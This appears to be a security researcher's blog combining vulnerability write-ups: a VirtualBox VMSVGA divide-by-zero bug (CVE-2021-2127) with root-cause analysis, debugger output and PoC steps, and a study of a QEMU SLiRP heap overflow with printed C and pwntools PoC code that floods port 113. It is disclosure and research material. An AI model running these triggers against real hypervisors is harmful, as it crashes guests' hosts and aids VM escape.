www.zerodayinitiative.com/advisories/ZDI-21-451/

 

Home | Zero Day Initiative

 

www.zerodayinitiative.com

This vulnerability allows local attackers to disclose sensitive information on affected installations of Oracle VirtualBox. An attacker must first obtain the ability to execute high-privileged code on the target guest system in order to exploit this vulnerability.

The specific flaw exists within the VMSVGA virtual device. The issue results from an integer truncation before reading from memory. An attacker can leverage this in conjunction with other vulnerabilities to escalate privileges and execute arbitrary code in the context of the hypervisor.

 

*No more details will be disclosed.

*This post is not a disclosure

 

전에 ZDI에 제보한 버그가 CVE를 받음과 동시에 이번 버전에서 패치되었다. (6.1.20) 본인이 제보한 것 중 최초로 돈을 받은 건이어서 인상이 깊다.

 

www.oracle.com/security-alerts/cpuapr2021.html

 

공개는 ZDI에서 해당 취약점을 공개한 뒤에 이루어질 예정이다. 부연 설명을 붙이는 방식으로 이루어질 것 같다.

 

The details of CVE-2021-2266 will be released after ZDI releases this bug.

'보안 > 일지' 카테고리의 다른 글

CVE-2021-2266 VirtualBox (ZDI-CAN-13464)  (2) 2021.04.22
추가 버그  (1) 2021.04.15
pwnable.xyz 올클  (1) 2021.02.21
커널 공부 근황 1  (0) 2021.02.18
CVE-2021-2127 VirtualBox  (1) 2021.01.20
  1. 카나리 2021.05.30 13:14

    Zdi에 제보하고 한 몇일정도 있다가 이메일이나? 다른 연락이 오셨나요?

    제보한 취약점들 들어가보면 2단계(?)까지는 뜨는데 시간이 좀오래걸리는것 같아서요..

    • candymate 2021.06.19 02:45 신고

      블로그를 잘 안 봐서 이제 봤네요. 저의 경우 빠른 경우는 일주일, 평균적인건 2주일 정도 걸려서 왔습니다. 봤던 것 중 오래 걸린 케이스는 한 달까지 걸린 것을 봤네요.

Before going on content...

I originally mentioned that this bug will be disclosed 3 months after the patch. However, I decided to release it today since 3 months seems to be too long... As long as there is an another researcher who disclosed his bugs at the patch date, it would be fine releasing this bug today.


High-level overview of the vulnerability and the possible effect of using it

A divide by zero vulnerability exists in vmsvga3dSurfaceDMA, in SVGA3D of Oracle VirtualBox 6.1.16 Linux distributions. To use this vulnerability, 3D acceleration option should be turned for a guest OS, and an attacker must get a root privilege in the guest OS.

This vulnerability allows local or remote attackers to crash VMs with 3D acceleration, leading to a denial-of-service condition. Flaws exist in three points: (1) Invalid surfaces can be defined in vmsvga3dSurfaceDefine, (2) Textures can be bound to invalid surfaces, (3) No check for divisor in vmsvga3dSurfaceDMA.

Exact product that was found to be vulnerable including complete version information

Version Information

Oracle VirtualBox 6.1.16 releases (which is the latest release in 2020/11/17) except for Windows are affected by this vulnerability. PoC code is tested with the release and Ubuntu 20.04.1 desktop for host and guest OSes, but it is also expected to work with other operating systems, except with Windows.

Precondition

An attacker must get a root privilege in a guest OS in order to use this vulnerability. Also, 3D acceleration option must be turned on for the guest OS to use this vulnerability. Finally, graphics controller option must be set to VMSVGA, which is the default option for Linux guest OSes.

Root Cause Analysis

Overview

A divide by zero vulnerability exists in vmsvga3dSurfaceDMA, which handles the SVGA_3D_CMD_SURFACE_DMA command in the SVGA FIFO loop. A VM crashes when the vulnerability is triggered, leading to the denial-of-service condition on the software. The vulnerability lies in the simple overflow check of the guest offset, before the offset gets verified by vmsvgaR3GmrTransfer. (See Code 1)

// Code 1

// Devices/Graphics/DevVGA-SVGA3d.cpp:610
/* srcx, srcy and srcz values are used to calculate the guest offset.
 * The offset will be verified by vmsvgaR3GmrTransfer, so just check for overflows here.
 */
AssertReturn(srcz < UINT32_MAX / pMipLevel->mipmapSize.height / cbGuestPitch, VERR_INVALID_PARAMETER);

cbGuestPitch can be zero with forged surfaces, leading to a divide by zero vulnerability. No check exists for pMipLevel->cbSurfacePitch, so cbGuestPitch can be zero. AssertReturn function remains as an if-else statement in a release version, so the vulnerability exists in a release version.

Three steps are needed to reach the vulnerable condition. These steps each uses a bug contained in its process.

  1. Two invalid surfaces, which have invalid mipmap sizes, are defined using a SVGA_3D_CMD_SURFACE_DEFINE command. One of two surfaces may be a valid surface. It doesn't affect the next step.
  2. Textures are bound to two surfaces using SVGA_3D_CMD_SURFACE_STRETCHBLT command. Two surfaces are each sent as source and destination surfaces.
  3. Divide by zero is triggered by using SVGA_3D_CMD_SURFACE_DMA command with guest.pitch = 0

Code flow from input to vmsvga* functions

Commands are asynchronously handled with the FIFO loop. (vmsvgaR3FifoLoop in Devices/Graphics/DevVGA-SVGA.cpp) Commands sent via VMware SVGA II PCI device are first enqueued to a SVGA command FIFO buffer, and they are dequeued and handled asynchronously in FIFO order by the loop.

Parsing and executing commands is done in vmsvgaR3FifoLoop function, which contains a simple switch-case statement to handle commands. With a given command id, the loop selects the method of parsing and handling the command. The loop eventually calls vmsvga~~ function to handle a command.

Step 1. Definition of invalid surfaces

Definition of an invalid surface is needed for to reach the vulnerable condition. Our goal is to make a surface that has the following conditions:

  1. Mipmap size is not zero so the clip box is not considered as empty in DMA command.
  2. cbSurfacePitch (derived from cBlocksX, cBlocksY, ...) is zero to trigger divide by zero.
  3. Texture is bound to the surface so that oglId is not zero.

In this step, a surface is defined with a non-zero mipmap size and a zero cbSurfacePitch value. A surface should not be defined in this condition, so this can be considered as a bug.

Making an invalid surface is simple: a surface can be defined with a negative size. (i.e. (-1, -1, -1)) Then, the definition fails in the condition described below. (See Code 2)

// Code 2

// Devices/Graphics/DevVGA-SVGA3d.cpp:278
if (RT_LIKELY(pSurface->cxBlock == 1 && pSurface->cyBlock == 1))
{
    cBlocksX = pMipmapLevel->mipmapSize.width;
    cBlocksY = pMipmapLevel->mipmapSize.height;
}
else
{
    (...)
}

(...)

const uint32_t cMaxBlocksX = cbMemRemaining / pSurface->cbBlock;
if (cBlocksX > cMaxBlocksX)
    return VERR_INVALID_PARAMETER;

cBlocksX becomes a negative value (i.e. -1), which is given as the argument of the command. cMaxBlocksX is 0x80000000 / n since cbMemRemaining remains 0x80000000 and pSurface->cbBlock becomes a small integer which is calculated from a given surface format. (i.e. 1, 2, 4, ..., see DevVGA-SVGA3d-shard.cpp:263 for details) Since the check is done with an unsigned comparison, cBlocksX is always bigger than cMaxBlocksX, so the check fails and the function returns.

A mipmap is already allocated before checking the validity of cBlocks, and the default value of a mipmap is zero for all other remaining values that are not initialized. Therefore, *cbSurfacePitch also becomes zero since it is not initialized. Mipmap size is already assigned before validation, so it is not zero. (See Code 3)

// Code 3

// Devices/Graphics/DevVGA-SVGA3d.cpp:223
for (uint32_t i=0; i < cMipLevels; i++)
    pSurface->paMipmapLevels[i].mipmapSize = paMipLevelSizes[i];

The outcome of step 1 is an object that looks like below. (Size is given as (-1, -1, -1)) Note that mipmapSize is not zero, and cbSurfacePitch is zero.

[*] surface
$2441 = 0x7fff6c7c49a0
$2442 = {
  id = 0x0,
  idWeakContextAssociation = 0xffffffff,
  surfaceFlags = 0x2,
  format = SVGA3D_BUFFER,
  internalFormatGL = 0xffffffff,
  formatGL = 0xffffffff,
  typeGL = 0xffffffff,
  enmOGLResType = VMSVGA3D_OGLRESTYPE_NONE,
  oglId = {
    texture = 0x0,
    buffer = 0x0,
    renderbuffer = 0x0
  },
  targetGL = 0x0,
  bindingGL = 0x0,
  fEmulated = 0x0,
  idEmulated = 0x0,
  faces = {{
      numMipLevels = 0x1
    }, {
      numMipLevels = 0x0
    }, {
      numMipLevels = 0x0
    }, {
      numMipLevels = 0x0
    }, {
      numMipLevels = 0x0
    }, {
      numMipLevels = 0x0
    }},
  cFaces = 0x1,
  cMipmapLevels = 0x1,
  paMipmapLevels = 0x7fff6fca48a0,
  multiSampleCount = 0x0,
  autogenFilter = SVGA3D_TEX_FILTER_NONE,
  cbBlock = 0x1,
  cxBlock = 0x1,
  cyBlock = 0x1,
  cbBlockGL = 0x1,
  fDirty = 0x0
}
[*] paMipmapLevel[0]
$2443 = {
  mipmapSize = {
    width = 0xffffffff,
    height = 0xffffffff,
    depth = 0xffffffff
  },
  cBlocksX = 0x0,
  cBlocksY = 0x0,
  cBlocks = 0x0,
  cbSurfacePitch = 0x0,
  cbSurfacePlane = 0x0,
  cbSurface = 0x0,
  pSurfaceData = 0x0,
  fDirty = 0x0
}

Step 2. Texture binding

Texture binding to the surface made in step 1 is needed to reach the vulnerable condition. In step 2, SVGA_3D_CMD_SURFACE_STRETCHBLT command is used to bind a texture. Draw primitive functions may be used to bind textures, but they are more complicated than vmsvga3dSurfaceStretchBlt function, so the function is used in step 2. Also, a buffer may be bound to a surface instead of binding a texture to it, but binding a texture is chosen because of the same reason.

vmsvga3dSurfaceStretchBlt needs two surfaces: one as a source surface and the other as a destination surface. One of two surfaces may be valid, but one of them must be the surface which is made in step 1 to exploit the vulnerability.

Codes described in Code 4 is used to create and bind the texture to the surfaces. Even if a surface is invalid, a texture will be created and bound to the surface. vmsvga3dBackCreateTexture function will create a texture and bind it to the surface.

// Code 4

// Devices/Graphics/DevVGA-SVGA3d.cpp:437
if (!VMSVGA3DSURFACE_HAS_HW_SURFACE(pSrcSurface))
{
    /* Unknown surface type; turn it into a texture, which can be used for other purposes too. */
    LogFunc(("unknown src sid=%u type=%d format=%d -> create texture\n", sidSrc, pSrcSurface->surfaceFlags, pSrcSurface->format));
    rc = vmsvga3dBackCreateTexture(pState, pContext, pContext->id, pSrcSurface);
    AssertRCReturn(rc, rc);
}

if (!VMSVGA3DSURFACE_HAS_HW_SURFACE(pDstSurface))
{
    /* Unknown surface type; turn it into a texture, which can be used for other purposes too. */
    LogFunc(("unknown dest sid=%u type=%d format=%d -> create texture\n", sidDst, pDstSurface->surfaceFlags, pDstSurface->format));
    rc = vmsvga3dBackCreateTexture(pState, pContext, pContext->id, pDstSurface);
    AssertRCReturn(rc, rc);
}

A texture should not be bound if a surface is invalid. Therefore, this can be also considered as a bug.

The outcome of step 2 is an object that looks like below. Note that oglId is not zero anymore.

[*] pSurface
$2453 = {
  id = 0x1,
  idWeakContextAssociation = 0xffffffff,
  surfaceFlags = 0x22,
  format = SVGA3D_BUFFER,
  internalFormatGL = 0xffffffff,
  formatGL = 0xffffffff,
  typeGL = 0xffffffff,
  enmOGLResType = VMSVGA3D_OGLRESTYPE_TEXTURE,
  oglId = {
    texture = 0x38,
    buffer = 0x38,
    renderbuffer = 0x38
  },
  targetGL = 0x806f,
  bindingGL = 0x806a,
  fEmulated = 0x0,
  idEmulated = 0x0,
  faces = {{
      numMipLevels = 0x1
    }, {
      numMipLevels = 0x0
    }, {
      numMipLevels = 0x0
    }, {
      numMipLevels = 0x0
    }, {
      numMipLevels = 0x0
    }, {
      numMipLevels = 0x0
    }},
  cFaces = 0x1,
  cMipmapLevels = 0x1,
  paMipmapLevels = 0x7fff6c7c17a0,
  multiSampleCount = 0x0,
  autogenFilter = SVGA3D_TEX_FILTER_NONE,
  cbBlock = 0x1,
  cxBlock = 0x1,
  cyBlock = 0x1,
  cbBlockGL = 0x1,
  fDirty = 0x0
}
[*] pMipLevel
$2454 = {
  mipmapSize = {
    width = 0xffffffff,
    height = 0xffffffff,
    depth = 0xffffffff
  },
  cBlocksX = 0x0,
  cBlocksY = 0x0,
  cBlocks = 0x0,
  cbSurfacePitch = 0x0,
  cbSurfacePlane = 0x0,
  cbSurface = 0x0,
  pSurfaceData = 0x0,
  fDirty = 0x0
}

Step 3. Triggering the bug

Divide by zero bug in vmsvga3dSurfaceDMA can now be triggered with the surface made in step 1 and step 2. The problematic code is described in Code 5.

// Code 5

// Devices/Graphics/DevVGA-SVGA3d.cpp:610
/* srcx, srcy and srcz values are used to calculate the guest offset.
 * The offset will be verified by vmsvgaR3GmrTransfer, so just check for overflows here.
 */
AssertReturn(srcz < UINT32_MAX / pMipLevel->mipmapSize.height / cbGuestPitch, VERR_INVALID_PARAMETER);

Here, divide by zero occurs when cbGuestPitch is zero. cbGuestPitch becomes zero if we give guest.pitch = 0. (guest.pitch is an argument of a DMA command given by the user) AssertReturn function remains as an if-else statement in a release version, so the vulnerability exists in a release version. See Code 6.

// Code 6

// Devices/Graphics/DevVGA-SVGA3d.cpp:597
uint32_t cbGuestPitch = guest.pitch;
if (cbGuestPitch == 0)
{
    /* Host must "assume image is tightly packed". Our surfaces are. */
    cbGuestPitch = pMipLevel->cbSurfacePitch;
}
else { (...) }

There are two checks that need to be bypassed to reach the vulnerable condition. One (Code 7) is bypassed by defining an invalid surface in step 1, and the other (Code 8) is bypassed by binding a texture to the invalid surface defined in step 2. The check in Code 7 requires a non-zero mipmap size, and the other check in Code 8 requires a non-zero oglId.

// Code 7

// Devices/Graphics/DevVGA-SVGA3d.cpp:536
/* The copybox's "dest" is coords in the host surface. Verify them against the surface's mipmap size. */
SVGA3dBox hostBox;
hostBox.x = paBoxes[i].x;
hostBox.y = paBoxes[i].y;
hostBox.z = paBoxes[i].z;
hostBox.w = paBoxes[i].w;
hostBox.h = paBoxes[i].h;
hostBox.d = paBoxes[i].d;
vmsvgaR3ClipBox(&pMipLevel->mipmapSize, &hostBox);

if (   !hostBox.w
    || !hostBox.h
    || !hostBox.d)
{
    Log(("Skip empty box\n"));
    continue;
}

// Devices/Graphics/DevVGA-SVGA.cpp:5274
/**
 * Unsigned coordinates in pBox. Clip to [0; pSize).
 *
 * @param   pSize   Source surface dimensions.
 * @param   pBox    Coordinates to be clipped.
 */
void vmsvgaR3ClipBox(const SVGA3dSize *pSize, SVGA3dBox *pBox)
{
    /* x, w */
    if (pBox->x > pSize->width)
        pBox->x = pSize->width;
    if (pBox->w > pSize->width - pBox->x)
        pBox->w = pSize->width - pBox->x;

    /* y, h */
    if (pBox->y > pSize->height)
        pBox->y = pSize->height;
    if (pBox->h > pSize->height - pBox->y)
        pBox->h = pSize->height - pBox->y;

    /* z, d */
    if (pBox->z > pSize->depth)
        pBox->z = pSize->depth;
    if (pBox->d > pSize->depth - pBox->z)
        pBox->d = pSize->depth - pBox->z;
}
// Code 8

// Devices/Graphics/DevVGA-SVGA3d.cpp:504
if (!VMSVGA3DSURFACE_HAS_HW_SURFACE(pSurface))
{
    /*
     * Not realized in host hardware/library yet, we have to work with
     * the copy of the data we've got in VMSVGA3DMIMAPLEVEL::pSurfaceData.
     */
    AssertReturn(pMipLevel->pSurfaceData, VERR_INTERNAL_ERROR);
}

// Devices/Graphics/DevVGA-SVGA3d-internal.h:683 (VMSVGA3D_DIRECT3D not defined in linux release)
/** @def VMSVGA3DSURFACE_HAS_HW_SURFACE
 * Checks whether the surface has a host hardware/library surface.
 * @returns true/false
 * @param   a_pSurface      The VMSVGA3d surface.
 */
#ifdef VMSVGA3D_DIRECT3D
# define VMSVGA3DSURFACE_HAS_HW_SURFACE(a_pSurface) ((a_pSurface)->u.pSurface != NULL)
#else
# define VMSVGA3DSURFACE_HAS_HW_SURFACE(a_pSurface) ((a_pSurface)->oglId.texture != OPENGL_INVALID_ID)
#endif

Vulnerable code can be reached by bypassing these two conditions. VM crashes with divide by zero, trying to divide with cbGuestPitch, which has zero value.

gdb-peda$ c
Continuing.

Thread 24 "VMSVGA FIFO" received signal SIGFPE, Arithmetic exception.
[Switching to Thread 0x7f3acc41f700 (LWP 73906)]
[----------------------------------registers-----------------------------------]
RAX: 0x1 
RBX: 0x0 
RCX: 0xffffffff 
RDX: 0x0 
RSI: 0x0 
RDI: 0x0 
RBP: 0x7f3acc41ed10 --> 0x7f3acc41ee50 --> 0x7f3acc41ee90 --> 0x7f3acc41eeb0 --> 0x7f3acc41eef0 --> 0x0 
RSP: 0x7f3acc41ec10 --> 0x400000001 
RIP: 0x7f3acd87b333 (div    ebx)
R8 : 0x0 
R9 : 0x0 
R10: 0x1 
R11: 0x2a ('*')
R12: 0x0 
R13: 0x7f3a94603ed0 --> 0xffffffff00000001 
R14: 0x7f3a9775f260 --> 0xffffffffffffffff 
R15: 0x7f3a94000b80 --> 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7f3acd87b32b:    mov    eax,ecx
   0x7f3acd87b32d:    div    DWORD PTR [r14+0x4]
   0x7f3acd87b331:    xor    edx,edx
=> 0x7f3acd87b333:    div    ebx
   0x7f3acd87b335:    cmp    eax,DWORD PTR [rbp-0xbc]
   0x7f3acd87b33b:    jbe    0x7f3acd87b568
   0x7f3acd87b341:    mov    eax,ecx
   0x7f3acd87b343:    xor    edx,edx
[------------------------------------stack-------------------------------------]
0000| 0x7f3acc41ec10 --> 0x400000001 
0008| 0x7f3acc41ec18 --> 0x7f3a94000b64 --> 0xfffffffe 
0016| 0x7f3acc41ec20 --> 0x7f3ad8134568 --> 0xffffeeee 
0024| 0x7f3acc41ec28 --> 0x22057251 
0032| 0x7f3acc41ec30 --> 0x0 
0040| 0x7f3acc41ec38 --> 0x7f3ad8134250 --> 0x5000000010 
0048| 0x7f3acc41ec40 --> 0x7f3acc6e4140 --> 0x7f3ab8000000 --> 0xff1d1d1dff1d1d1d 
0056| 0x7f3acc41ec48 --> 0x7f3acc6e4800 --> 0x8000000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGFPE
0x00007f3acd87b333 in ?? () from /usr/lib/virtualbox/VBoxDD.so
gdb-peda$ bt
#0  0x00007f3acd87b333 in  () at /usr/lib/virtualbox/VBoxDD.so
#1  0x00007f3acd876bcb in  () at /usr/lib/virtualbox/VBoxDD.so
#2  0x00007f3b10724c8a in  () at /usr/lib/virtualbox/components/VBoxVMM.so
#3  0x00007f3b21f879e8 in  () at /usr/lib/virtualbox/VBoxRT.so
#4  0x00007f3b2204b452 in  () at /usr/lib/virtualbox/VBoxRT.so
#5  0x00007f3b2235f609 in start_thread (arg=<optimized out>) at pthread_create.c:477
#6  0x00007f3b22280293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
gdb-peda$ vmmap
(...)
0x00007f3acd7c6000 0x00007f3acd7e8000 r--p    /usr/lib/virtualbox/VBoxDD.so
0x00007f3acd7e8000 0x00007f3acd94d000 r-xp    /usr/lib/virtualbox/VBoxDD.so
0x00007f3acd94d000 0x00007f3acdb7f000 r--p    /usr/lib/virtualbox/VBoxDD.so
0x00007f3acdb7f000 0x00007f3acdb80000 ---p    /usr/lib/virtualbox/VBoxDD.so
0x00007f3acdb80000 0x00007f3acdb93000 r--p    /usr/lib/virtualbox/VBoxDD.so
0x00007f3acdb93000 0x00007f3acdb9b000 rw-p    /usr/lib/virtualbox/VBoxDD.so
0x00007f3acdb9b000 0x00007f3ace201000 rw-p    mapped
(...)

Suggested Fixes

Three main causes exist in this vulnerability.

  1. An invalid surface, which has a non-zero mipmap size and zero cBlocks* and cbSurfacePitch, can be defined.
  2. A texture can be bound to an invalid surface.
  3. No check for the divisor, which is cbGuestPitch, in DMA command.

Fixing this vulnerability depends on the design choice that developers make. There are two options to fix this vulnerability.

  1. Deallocate the surface when defining a surface fails.
  2. Validate mipmaps of surfaces whether they have proper fields whenever surfaces are used in commands. For this vulnerability, there are problems in vmsvga3dSurfaceStretchBlt, vmsvga3dBackCreateTexture, and vmsvga3dSurfaceDMA. However, other commands may also contain problems.

Proof-of-Concept

Environment

Proof-of-Concept code is tested on VirtualBox 6.1.16 version (recent version in 2020-11-20), Linux distribution. Version for host and guest OSes are Ubuntu 20.04.1 desktop, but other OSes except Windows are supposed to work as well. 3D acceleration under display option should be turned on, and graphics controller option should remain VMSVGA, which is the default setting for display in Linux distribution.

Running PoC code

https://github.com/candymate/pwn/tree/master/CVE/CVE-2021-2127

PoC code should be run inside a guest. Thus, download the attached file inside a guest and extract the file.

libpciaccess-dev should be installed first to run the attached code. Run sudo apt install libpciaccess-dev first before running the code.

After installing the library, run make to compile the code. Next, run the compiled code with root privilege. (Do sudo ./poc)

Additional Information

Most of the codes are based on one of released PoC codes, which are in https://github.com/renorobert/virtualbox-vmsvga-bugs.

Software Download Link

VirtualBox release can be downloaded in https://www.virtualbox.org/wiki/Downloads. Linux distribution needs to be downloaded for this vulnerability. (PoC code is tested on Ubuntu 20.04.1 desktop for guest and host OSes)

Ubuntu 20.04.1 desktop image can be downloaded in https://releases.ubuntu.com/20.04/. This may be optional.


Patch

Patched at 6.1.18. Allocation (or Definition) of invalid surfaces is now prohibited. (See VBox/Devices/Graphics/DevVGA-SVGA3d.cpp)

 

  1. candymate 2021.02.18 20:19 신고

    Added PoC Code : https://github.com/candymate/pwn/tree/master/CVE/CVE-2021-2127

VirtualBox SVGA에서 버그를 하나 발견하여 벤더에 제보했고, CVE 번호를 하나 받게 되었다. 버그를 제보하고 CVE까지 받는 것은 처음인데, 내 이름이 패치 내역에 있는 것이 상당히 기분이 좋았다. 프로젝트로 진행해서 열심히 삽질하고 한 것이 나름대로 보상이 된 것 같다.

 

www.oracle.com/security-alerts/cpujan2021.html

크레딧 내용에 있는 본인 CVE

 

저 자료를 보면 VirtualBoBs 팀으로 버그가 3개가 들어가 있는데, 팀에서 벤더에 직접 제보하여 이번에 패치된 3건, ZDI 제보해서 오퍼까지 받은게 3건으로 총 6건을 발견하여 제보하였다. 버그 헌팅 처음 하는 사람들끼리 모여서 단기간에 으쌰으쌰해서 열심히 삽질한 것이 어떻게 성과가 잘 나온 것 같다. 처음에 VM 관련해서 아무런 지식이 없어 원데이로 삽질하고, CVE 훑어보고, 심지어는 방법론 자체를 공부하는 등 여러 삽질을 했다. 그럼에도 이런 활동들을 나름 계획을 세우고, 서로 자료 공유도 열심히 하고, 코로나 때문에 얼굴 한번 보지 못했어도 간단하게 인력 관리 봇 하나 구현해서 운영까지 해가며 어케어케 하다보니 프로젝트가 잘 된 것 같다.

 

버그에 대한 자세한 내용은 3달 정도 더 기다린 후에 공개하려 한다. 어제 저녁쯤에 패치가 되어 현재 해결이 된 상태지만 패치 갭을 생각해서 3달 정도 있다가 하는게 맞는 것 같다.


The details of CVE-2021-2127 will be released after 3 months, considering patch gaps of softwares. Even though the bug was fixed yesterday, I think it is right to disclose the bug after 3 months, considering the gaps.

'보안 > 일지' 카테고리의 다른 글

CVE-2021-2266 VirtualBox (ZDI-CAN-13464)  (2) 2021.04.22
추가 버그  (1) 2021.04.15
pwnable.xyz 올클  (1) 2021.02.21
커널 공부 근황 1  (0) 2021.02.18
CVE-2021-2127 VirtualBox  (1) 2021.01.20
  1. 이도현 2021.01.23 16:36

    고수...

개요

https://github.com/0xKira/qemu-vm-escape

QEMU의 113 포트 (SLiRP module)에서 힙 오버플로우 취약점이 존재해 해당 취약점을 통해 VM Escape을 얻은 케이스다. PoC가 주어져있는데, 아래와 같다.

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main() {
    int s, ret;
    struct sockaddr_in ip_addr;
    char buf[0x500];

    s = socket(AF_INET, SOCK_STREAM, 0);
    ip_addr.sin_family = AF_INET;
    ip_addr.sin_addr.s_addr = inet_addr("10.0.2.2"); // host IP
    ip_addr.sin_port = htons(113);                   // vulnerable port
    ret = connect(s, (struct sockaddr *)&ip_addr, sizeof(struct sockaddr_in));
    memset(buf, 'A', 0x500);
    while (1) {
        write(s, buf, 0x500);
    }
    return 0;
}

113에 TCP로 계속해서 데이터를 넣는 모습을 확인할 수 있다. 데이터가 계속해서 써지면 결국 힙 오버플로우가 발생한다.

환경세팅

-enable-kvm 옵션을 사용하기 위해서는 우분투를 멀티부팅 형식으로 설치할 수밖에 없었다. Nested로 하는 방법도 존재했지만 시스템에 어떤 영향을 줄지 예상이 가지 않아 우분투를 설치하기로 마음먹었다.

우분투를 설치하는데 많은 트러블슈팅 과정을 거쳤다. 그램과 노트북, rufus / unetbootin / UUI를 번갈아 가며 설치를 시도했지만 결국에는 노트북에 기존에 가지고 있었던 Ubuntu 18.04.1 버전을 설치하였다. 노트북 BIOS 옵션에 들어가 꼭꼭 숨겨져있던 UEFI 옵션을 끄고서야 USB 부팅이 되었고, 그램에 설치를 시도할 때에는 UEFI 부팅을 끄는 옵션이 있었지만 Legacy Boot 옵션을 킬 수가 없어 (회색으로 처리되어 킬 수 없었다) Ubuntu 설치에 실패하였다.

9시간 정도 소모하여 간신히 우분투를 설치한 뒤에 기본적인 프로그램들을 설치하고 Qemu를 설치하였다. Qemu의 경우 버그가 발생한 Qemu의 정확한 버전을 알수가 없어 v3.1.0 버전을 사용하였다. 해당 버전의 코드를 확인하여 패치가 아직 이루어지지 않았음을 확인하였다. 해당 버전을 설치하는 과정은 다음과 같다.

git clone https://github.com/qemu/qemu
cd qemu
git reset --hard 32a1a94
mkdir build
cd build
../configure
make
cp x86_64-softmmu/qemu-system-x86_64 ../..

위 컴파일 과정을 위해서는 dependency들이 많이 필요한데 해당 리스트는 링크에서 구하였다.

Qemu를 설치했으면 이제 VM을 설치해야 한다. 18.04 우분투 이미지를 받아서 해당 이미지로부터 이미지를 생성해야 했다. 이미지를 생성하는 방법은 링크에서 배울 수 있었지만, 환경이 달라 약간의 조정이 필요했다. 최종적으로 사용한 명령어들은 아래와 같다.

wget http://old-releases.ubuntu.com/releases/18.04.1/ubuntu-18.04.4-desktop-amd64.iso
qemu-img create -f qcow2 ubuntu-18.04-desktop-amd64.img.qcow2 32G
sudo ../qemu-system-x86_64 -cdrom ubuntu-18.04.4-server-amd64.iso -drive file=ubuntu-18.04-server-amd64.img.qcow2,format=qcow2 -enable-kvm -m 2G -smp 1 -L ../qemu/build/pc-bios

위 명령어들을 실행하면 설치 과정을 실행할 수 있다. 실행해도 화면이 나오지 않는데, VNC server running on 127.0.0.1:5900 메세지를 보고 remmina 프로그램을 통해 VNC 서버에 접속하여 화면을 확인할 수 있었다. 설치 과정은 일반적인 우분투 설치 과정과 동일하다.

해당 설치 과정을 거쳤으면 이미지로부터 스냅샷을 생성해야 한다. 스냅샷은 기존 이미지와 다른 점들만 저장하는 용도로, 용량이 많이 줄어 용량을 아낄 수 있다. 해당 명령어는 아래와 같다.

qemu-img create -f qcow2 -b ubuntu-18.04-desktop-amd64.img.qcow2 ubuntu-18.04-desktop-amd64.snapshot.qcow2

위 명령어로 스냅샷을 생성한 뒤 해당 스냅샷으로 Qemu를 구동하면 된다.

sudo ../qemu-system-x86_64 -drive file=ubuntu-18.04-desktop-amd64.snapshot.qcow2,format=qcow2 -enable-kvm -m 4G -smp 1 -net user,hostfwd=tcp::2222-:22 -net nic -L ../qemu/build/pc-bios -boot a

Qemu를 구동한 뒤 안에서 링크 안에 있는 PoC 코드를, 밖에서는 sudo nc -lvv 113 를 실행하면 VM이 Segmentation fault와 함께 죽는 것을 확인할 수 있다.

Root Cause Analysis

QEMU의 113 포트 (SLiRP module)에 힙 오버플로우 취약점이 존재한다. 해당 힙 오버플로우 취약점은 유저가 보내는 데이터를 별도의 체크 없이 계속해서 받아 생긴다. 아래 코드를 살펴보자.

// slirp/tcp_subr.c:624
    switch(so->so_emu) {
        int x, i;

     case EMU_IDENT:
        /*
         * Identification protocol as per rfc-1413
         */

        {
            struct socket *tmpso;
            struct sockaddr_in addr;
            socklen_t addrlen = sizeof(struct sockaddr_in);
            struct sbuf *so_rcv = &so->so_rcv;

            memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
// slirp/tcp_subr.c:535
/*
 * Set the socket's type of service field
 */
static const struct tos_t tcptos[] = {
      {0, 20, IPTOS_THROUGHPUT, 0},    /* ftp data */
      {21, 21, IPTOS_LOWDELAY,  EMU_FTP},    /* ftp control */
      {0, 23, IPTOS_LOWDELAY, 0},    /* telnet */
      {0, 80, IPTOS_THROUGHPUT, 0},    /* WWW */
      {0, 513, IPTOS_LOWDELAY, EMU_RLOGIN|EMU_NOCONNECT},    /* rlogin */
      {0, 514, IPTOS_LOWDELAY, EMU_RSH|EMU_NOCONNECT},    /* shell */
      {0, 544, IPTOS_LOWDELAY, EMU_KSH},        /* kshell */
      {0, 543, IPTOS_LOWDELAY, 0},    /* klogin */
      {0, 6667, IPTOS_THROUGHPUT, EMU_IRC},    /* IRC */
      {0, 6668, IPTOS_THROUGHPUT, EMU_IRC},    /* IRC undernet */
      {0, 7070, IPTOS_LOWDELAY, EMU_REALAUDIO }, /* RealAudio control */
      {0, 113, IPTOS_LOWDELAY, EMU_IDENT }, /* identd protocol */
      {0, 0, 0, 0}
};

취약점은 EMU_IDENT, 즉 113번 포트에서 발생하며 sbufm->m_data의 길이 체크 없이 데이터를 memcpy로 밀어넣는 것을 볼 수 있다. 때문에 sbuf 안에서 overflow가 발생한다. 해당 overflow가 나는 것을 gdb로 확인해보자.

우선 좀 더 편하게 PoC 코드를 돌려보고 수정하기 위해 PoC 코드를 pwntools를 이용하여 재구성하였다.

#!/usr/bin/python

from pwn import *

p = remote("10.0.2.2", 113)

while True:
    p.send("A"*0x500)

send를 루프를 돌리지 말고 한번만 보낸 뒤에 데이터가 어느 영역에 저장되는지를 살펴보자. "A"*0x500 을 보낸 후에 "B"*53 을 보낸 뒤 gdb로 메모리를 찍어보았다.

gdb-peda$ x/32wx 0x7f2a48a54070-0x500
0x7f2a48a53b70:    0x0d302c30    0x4141000a    0x41414141    0x41414141
0x7f2a48a53b80:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53b90:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53ba0:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53bb0:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53bc0:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53bd0:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53be0:    0x41414141    0x41414141    0x41414141    0x41414141
gdb-peda$ x/32wx 0x7f2a48a54070-0x80
0x7f2a48a53ff0:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54000:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54010:    0x41414141    0x41414141    0x41414141    0x41414141
